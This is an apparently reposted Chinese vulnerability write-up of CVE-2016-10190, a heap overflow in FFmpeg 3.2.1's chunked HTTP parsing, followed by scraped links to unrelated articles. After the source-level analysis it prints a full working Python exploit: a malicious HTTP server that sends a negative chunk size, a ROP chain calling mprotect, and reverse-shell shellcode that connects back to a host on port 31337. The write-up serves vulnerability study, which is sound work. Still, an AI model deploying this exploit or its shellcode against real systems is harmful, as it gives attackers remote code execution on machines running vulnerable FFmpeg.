本文转载自CVE-2016-10190 FFmpeg Heap Overflow 漏洞分析及利用

前言

FFmpeg是一个著名的处理音视频的开源项目,使用者众多。2016年末paulcher发现FFmpeg三个堆溢出漏洞分别为CVE-2016-10190、CVE-2016-10191以及CVE-2016-10192。本文详细分析了CVE-2016-10190,是二进制安全入门学习堆溢出一个不错的案例。 
操作系统:Ubuntu 16.04 x64 
FFmpeg版本:3.2.1按照https://trac.ffmpeg.org/wiki/CompilationGuide/Ubuntu编译

漏洞分析

此漏洞是发生在处理HTTP流时,读取HTTP流的过程大概如下。avformat_open_input函数初始化输入文件的主要信息,其中与漏洞有关的是创建AVIOContext结构体,如果输入文件是HTTP流则调用http_open函数发起请求,调用http_read_header函数解析响应数据的头信息,解析完后调用avio_read->io_read_packet->http_read->http_read_stream函数读取之后的数据。首先看下http_read_stream函数。

static int http_read_stream(URLContext *h, uint8_t *buf, int size)
{
HTTPContext *s = h->priv_data;
int err, new_location, read_ret;
int64_t seek_ret;
...
if (s->chunksize >= 0) {
if (!s->chunksize) {
char line[32];
do {
if ((err = http_get_line(s, line, sizeof(line))) < 0)
return err;
} while (!*line); /* skip CR LF from last chunk */
s->chunksize = strtoll(line, NULL, 16);
av_log(NULL, AV_LOG_TRACE, "Chunked encoding data size: %"PRId64"'\n",
s->chunksize);
if (!s->chunksize)
return 0;
}
size = FFMIN(size, s->chunksize);
}
...
read_ret = http_buf_read(h, buf, size);
...
return read_ret;
}

上面s->chunksize = strtoll(line, NULL, 16)这一行代码是读取chunk的大小,这里调用strtoll函数返回一个有符号数,再看HTTPContext结构体。

typedef struct HTTPContext {
const AVClass *class;
URLContext *hd;
unsigned char buffer[BUFFER_SIZE], *buf_ptr, *buf_end;
int line_count;
int http_code;
/* Used if "Transfer-Encoding: chunked" otherwise -1. */
int64_t chunksize;
...
} HTTPContext;

可以看到chunksize为int64_t类型也是有符号数,当执行size = FFMIN(size, s->chunksize)这行代码时,由于传进来的size=0x8000,如果之前的strtoll函数返回一个负数,这样就会导致size = s->chunksize也为一个负数,之后执行到read_ret = http_buf_read(h, buf, size),看下http_buf_read函数。

static int http_buf_read(URLContext *h, uint8_t *buf, int size)
{
HTTPContext *s = h->priv_data;
int len;
/* read bytes from input buffer first */
len = s->buf_end - s->buf_ptr;
if (len > 0) {
if (len > size)
len = size;
memcpy(buf, s->buf_ptr, len);
s->buf_ptr += len;
} else {
int64_t target_end = s->end_off ? s->end_off : s->filesize;
if ((!s->willclose || s->chunksize < 0) &&
target_end >= 0 && s->off >= target_end)
return AVERROR_EOF;
len = ffurl_read(s->hd, buf, size);
...
}
...
return len;
}

上面代码else分支执行到len = ffurl_read(s->hd, buf, size),而ffurl_read中又会调用tcp_read函数(函数指针的方式)来读取之后真正的数据,最后看tcp_read函数。

static int tcp_read(URLContext *h, uint8_t *buf, int size)
{
TCPContext *s = h->priv_data;
int ret;
if (!(h->flags & AVIO_FLAG_NONBLOCK)) {
ret = ff_network_wait_fd_timeout(s->fd, 0, h->rw_timeout, &h->interrupt_callback);
if (ret)
return ret;
}
ret = recv(s->fd, buf, size, 0);
return ret < 0 ? ff_neterrno() : ret;
}

当执行到ret = recv(s->fd, buf, size, 0)时,如果size为负数,recv函数会把size转换成无符号数变成一个很大的正数,而buf指向的又是堆上的空间,这样就可能导致堆溢出,如果溢出覆盖一个函数指针就可能导致远程代码执行。

漏洞利用

在http_read_stream函数里想要执行s->chunksize = strtoll(line, NULL, 16)需要s->chunksize >= 0,看下发送请求后http_read_header函数中解析响应数据里每个请求头的函数process_line。

static int process_line(URLContext *h, char *line, int line_count,
int *new_location)
{
HTTPContext *s = h->priv_data;
const char *auto_method = h->flags & AVIO_FLAG_READ ? "POST" : "GET";
char *tag, *p, *end, *method, *resource, *version;
int ret;
/* end of header */
if (line[0] == '\0') {
s->end_header = 1;
return 0;
}
p = line;
if (line_count == 0) {
...
} else {
while (*p != '\0' && *p != ':')
p++;
if (*p != ':')
return 1;
*p = '\0';
tag = line;
p++;
while (av_isspace(*p))
p++;
if (!av_strcasecmp(tag, "Location")) {
if ((ret = parse_location(s, p)) < 0)
return ret;
*new_location = 1;
} else if (!av_strcasecmp(tag, "Content-Length") && s->filesize == -1) {
s->filesize = strtoll(p, NULL, 10);
} else if (!av_strcasecmp(tag, "Content-Range")) {
parse_content_range(h, p);
} else if (!av_strcasecmp(tag, "Accept-Ranges") &&
!strncmp(p, "bytes", 5) &&
s->seekable == -1) {
h->is_streamed = 0;
} else if (!av_strcasecmp(tag, "Transfer-Encoding") &&
!av_strncasecmp(p, "chunked", 7)) {
s->filesize = -1;
s->chunksize = 0;
}
...
}
return 1;
}

可以看到当请求头中包含Transfer-Encoding: chunked时会把s->filesize赋值-1、s->chunksize赋值0。下面看下漏洞利用的整个调试过程,先发送包含Transfer-Encoding: chunked的请求头,然后avio_read函数中会循环调用s->read_packet指向的函数指针io_read_packet读取请求头之后的数据。 

同时看下AVIOContext结构体参数。 
 
之后来到http_read_stream函数。 

可以看到s->chunksize == 0,这时服务器发送chunk的大小为-1,然后就会执行s->chunksize = strtoll(line, NULL, 16)s->chunksize赋值为-1,并在执行size = FFMIN(size, s->chunksize)后把size赋值为-1,之后来到http_buf_read函数。 

这里len == 0会转而执行else分支,又由于s->end_off == 0 && s->filesize == -1,这样就会执行到len = ffurl_read(s->hd, buf, size),ffurl_read中会调用tcp_read函数执行到ret = recv(s->fd, buf, size, 0)。 

可以看到buf的地址是0x229fd20,而之前的AVIOContext的地址为0x22a7d80,因此buf在读入0x22a7d80 - 0x229fd20 = 0x8060字节后就可以溢出到AVIOContext结构体,这里溢出覆盖它的read_packet函数指针。 

这样在avio_read函数中循环进行下一次读取的时候就控制了PC。 

最后利用成功反弹shell的演示。 

完整EXP根据https://gist.github.com/PaulCher/324690b88db8c4cf844e056289d4a1d6修改。如图所示,我在尝试的过程中发现主要需要修改的地方在于这几个ROP gadgets的地址。此外要注意ffmpeg是不带符号信息,ffmpeg_g带符号信息,调试的时候应该使用ffmpeg_g。 

#!/usr/bin/python

import os
import sys
import socket
from time import sleep
from pwn import * bind_ip = '0.0.0.0'
bind_port = 12345 headers = """HTTP/1.1 200 OK
Server: HTTPd/0.9
Date: Sun, 10 Apr 2005 20:26:47 GMT
Content-Type: text/html
Transfer-Encoding: chunked """ elf = ELF('/root/ffmpeg_sources/ffmpeg-3.2.1/ffmpeg')
shellcode_location = 0x1b28000 # require writeable -> data or bss segment...
page_size = 0x1000
rwx_mode = 7 gadget = lambda x: next(elf.search(asm(x, os='linux', arch='amd64')))
pop_rdi = gadget('pop rdi; ret')
log.info("pop_rdi:%#x" % pop_rdi)
pop_rsi = gadget('pop rsi; ret')
log.info("pop_rsi:%#x" % pop_rsi)
pop_rax = gadget('pop rax; ret')
log.info("pop_rax:%#x" % pop_rax)
pop_rcx = gadget('pop rcx; ret')
log.info("pop_rcx:%#x" % pop_rcx)
pop_rdx = gadget('pop rdx; ret')
log.info("pop_rdx:%#x" % pop_rdx)
pop_rbp = gadget('pop rbp; ret')
log.info("pop_rbp:%#x" % pop_rbp)
push_rbx = gadget('push rbx; jmp rdi')
log.info("push_rbx:%#x" % push_rbx)
pop_rsp = gadget('pop rsp; ret')
log.info("pop_rsp:%#x" % pop_rsp)
add_rsp = gadget('add rsp, 0x58')
mov_gadget = gadget('mov qword ptr [rcx], rax ; ret')
log.info("mov_gadget:%#x" % mov_gadget)
mprotect_func = elf.plt['mprotect']
log.info("mprotect_func:%#x" % mprotect_func)
read_func = elf.plt['read']
log.info("read_func:%#x" % read_func) def handle_request(client_socket):
request = client_socket.recv(2048)
print request payload = ''
payload += 'C' * (0x8060)
payload += p64(0x004a84d9) # rop starts here -> add rsp, 0x58 ; ret
payload += 'CCCCCCCC' * 4 payload += p64(pop_rsp) # rdi -> pop rsp ; ret
payload += p64(0x011eba15) # call *%rax -> push rbx ; jmp rdi
payload += 'BBBBBBBB' * 3
payload += 'AAAA'
payload += p32(0)
payload += 'AAAAAAAA'
payload += p64(0x004a84d9) # second add_esp rop to jump to uncorrupted chunk -> add rsp, 0x58 ; ret
payload += 'XXXXXXXX' * 11 # real rop payload starts here
#
# using mprotect to create executable area
payload += p64(pop_rdi)
payload += p64(shellcode_location)
payload += p64(pop_rsi)
payload += p64(page_size)
payload += p64(pop_rdx)
payload += p64(rwx_mode)
payload += p64(mprotect_func) # backconnect shellcode x86_64: 127.0.0.1:31337
shellcode = "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\xc7\x44\x24\x04\x7f\x00\x00\x01\x48\x89\xe6\x6a\x10\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05";
shellcode = '\x90' * (8 - (len(shellcode) % 8)) + shellcode
shellslices = map(''.join, zip(*[iter(shellcode)]*8)) write_location = shellcode_location - 8
for shellslice in shellslices:
payload += p64(pop_rax)
payload += shellslice
payload += p64(pop_rcx)
payload += p64(write_location)
payload += p64(mov_gadget) write_location += 8 payload += p64(pop_rbp)
payload += p64(4)
payload += p64(shellcode_location) client_socket.send(headers)
client_socket.send('-1\n')
sleep(5)
client_socket.send(payload)
client_socket.close() if __name__ == '__main__':
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((bind_ip, bind_port))
s.listen(5) filename = os.path.basename(__file__)
st = os.stat(filename) while True:
client_socket, addr = s.accept()
handle_request(client_socket)
if os.stat(filename) != st:
print 'restarted'
sys.exit(0)

总结

此漏洞主要是由于没有正确定义有无符号数的类型导致覆盖函数指针来控制PC,微软在Windows 10中加入了CFG(Control Flow Guard)正是来缓解这种类型的攻击,此漏洞已在https://github.com/FFmpeg/FFmpeg/commit/2a05c8f813de6f2278827734bf8102291e7484aa中修复。另外对于静态编译的版本,ROP gadget较多,相对好利用,对于动态链接的版本,此漏洞在libavformat.so中,找到合适的gadget会有一定难度,但并非没有利用的可能。

转-CVE-2016-10190浅析-FFmpeg堆溢出漏洞的更多相关文章

  1. vmware漏洞之一——转:利用一个堆溢出漏洞实现VMware虚拟机逃逸

    转:https://zhuanlan.zhihu.com/p/27733895?utm_source=tuicool&utm_medium=referral 小结: vmware通过Backd ...

  2. Linux堆溢出漏洞利用之unlink

    Linux堆溢出漏洞利用之unlink 作者:走位@阿里聚安全 0 前言 之前我们深入了解了glibc malloc的运行机制(文章链接请看文末▼),下面就让我们开始真正的堆溢出漏洞利用学习吧.说实话 ...

  3. CVE-2010-2553:Microsoft Cinepak Codec CVDecompress 函数堆溢出漏洞调试分析

    0x01 前言 微软提供一个叫 Cinepak 的视频解码器,通过调用 iccvid.dll 这个动态链接库文件可以使用这个解码器:微软自带的 Windows Media Player(视频音频软件) ...

  4. 【转载】利用一个堆溢出漏洞实现 VMware 虚拟机逃逸

    1. 介绍 2017年3月,长亭安全研究实验室(Chaitin Security Research Lab)参加了 Pwn2Own 黑客大赛,我作为团队的一员,一直专注于 VMware Worksta ...

  5. CVE-2013-0077:Microsoft DirectShow quartz.dll m2p 文件堆溢出漏洞简单分析

    0x01 前言 2012 年 10 月 5 日,exploit-db 漏洞公布站点上发布了 QQplayer.exe 3.7.892 m2p quartz.dll Heap Pointer OverW ...

  6. CVE-2012-0003:Microsoft Windows Media Player winmm.dll MIDI 文件堆溢出漏洞调试分析

    0x01 蜘蛛漏洞攻击包 前言:2012 年 2月,地下黑产中流行着一款国产名为蜘蛛漏洞的攻击包 -- "Zhi-Zhu Exploit Pack",该工具包含 5 个漏洞,都是在 ...

  7. Linux 堆溢出原理分析

    堆溢出与堆的内存布局有关,要搞明白堆溢出,首先要清楚的是malloc()分配的堆内存布局是什么样子,free()操作后又变成什么样子. 解决第一个问题:通过malloc()分配的堆内存,如何布局? 上 ...

  8. CVE-2012-1876:Internet Exporter MSHTML.DLL CaculateMinMax 堆溢出简单分析

    0x01 2012 Pwn2Own 黑客大赛 Pwn2Own 是世界上最著名的黑客大赛,意在激励白帽黑客们进行顶尖的安全研究.在 2012 年 Pwn2Own 大赛上,来自法国著名的安全团队 Vupe ...

  9. Linux Kernel ‘write_tag_3_packet()’函数本地基于堆的缓冲区溢出漏洞

    漏洞名称: Linux Kernel ‘write_tag_3_packet()’函数本地基于堆的缓冲区溢出漏洞 CNNVD编号: CNNVD-201311-067 发布时间: 2013-11-07 ...

随机推荐

  1. 傻瓜学编程之block_3

    block 捕获自动变量的瞬间值: 注释在代码中:请参考傻瓜学编程之block_3 import "People.h" @interface People() { int your ...

  2. adb相关指令 笔记

      adb相关指令 笔记 1.adb devices 查看物理测试设备或模拟器的相关信息,有三个状态: (1)device 设备已连接到adb服务器上,但该状态并不代表设备已启动完毕可以进行操作: ( ...

  3. linux 终端 pac ssh登录工具使用教程

    1.下载: 首先下载deb文件:https://sourceforge.net/projects/pacmanager/ 2.安装: dpkg -i pac-4.5.5.7-all.deb 3.安装依 ...

  4. docker容器的常用操作

    创建容器 [root@mydocker ~]# docker create --name test_create -ti ubuntu 1d13990eea0d3f282a0f7d5589f40e49 ...

  5. C语言博客作业6---结构体&文件

    C语言博客作业6---结构体&文件 1.本章学习总结(2分) 1.1思维导图 请以思维导图总结本周的学习内容.如下图所示: 1.2.学习体会 描述本周学习感受,也可以在这里提出你不理解地方.对 ...

  6. Python 爬虫之下载图片

    from urllib import request import json #---------获取网页源代码-------------- def getHtml(url): response=re ...

  7. Android 开发 重写定位器类Timer与TimerTask

    class AttendanceTimer extends Timer { private static final int LOCATION = 0x01; private static final ...

  8. 2018-2019-2 20165205 《网络对抗技术》 Exp1 PC平台逆向破解

    2018-2019-2 20165205 <网络对抗技术> Exp1 PC平台逆向破解 1. 实验任务 1.1实验概括 用一个pwn1文件. 该程序正常执行流程是:main调用foo函数, ...

  9. JavaScript代理模式

    代理模式的定义,代理是一个对象(proxy)用它来控制目标对象的访问.为此他要是先与目标对象相同的接口,但是他不同于装饰者模式,它对目标对象不进行任何修改,它的目的在于延缓"复杂" ...

  10. vue+sass实现切换字体大小

    接到领导指示,用户嫌我做的页面字体太小,15px的字体叫小?领导说用户多是上了年纪的人.没办法,改吧,谁让咱是个搬砖的呢..咳咳 我寻思着这次改大了,下次用户嫌大再让改小呢?干脆给他做个选择字号的功能 ...